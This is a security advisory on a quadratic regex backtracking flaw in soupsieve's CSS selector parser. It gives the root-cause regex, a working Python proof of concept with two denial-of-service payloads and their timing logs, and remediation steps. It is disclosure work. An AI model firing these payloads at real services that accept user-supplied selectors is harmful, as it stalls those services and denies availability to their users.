GHSA-gjv8-xp57-g29c

## Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

## Trust model (Q0)

The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

## Root cause (exact anchors) — `src/soupsieve/css_parser.py`

```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ```

- classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

## Reproduction environment (discipline #12 — published artifact)

- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce.

## PoC (`poc/poc_redos_compile.py`)

```python import sys, time sys.path.insert(0, ".") import soupsieve as sv

def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")

print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")

payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ```

End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).

## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)

``` soupsieve 2.9

Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError]

Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=2000 len=2001 79.7 ms [SelectorSyntaxError] n=4000 len=4001 322.9 ms [SelectorSyntaxError] n=8000 len=8001 1328.9 ms [SelectorSyntaxError] n=16000 len=16001 5379.4 ms [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000) (len=12003) [+] wall time = 18.28 s [SelectorSyntaxError] ```

## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)

``` soupsieve 2.8.4 Payload A: '[a=' + 'a'*n n=1000 len=1003 113.9 ms [SelectorSyntaxError] n=2000 len=2003 457.2 ms [SelectorSyntaxError] n=4000 len=4003 1816.8 ms [SelectorSyntaxError] n=8000 len=8003 7299.0 ms [SelectorSyntaxError] [+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError] ```

## Impact — calibrated

- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL). - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve. - NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

## Remediation

- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters. - Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run. - Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.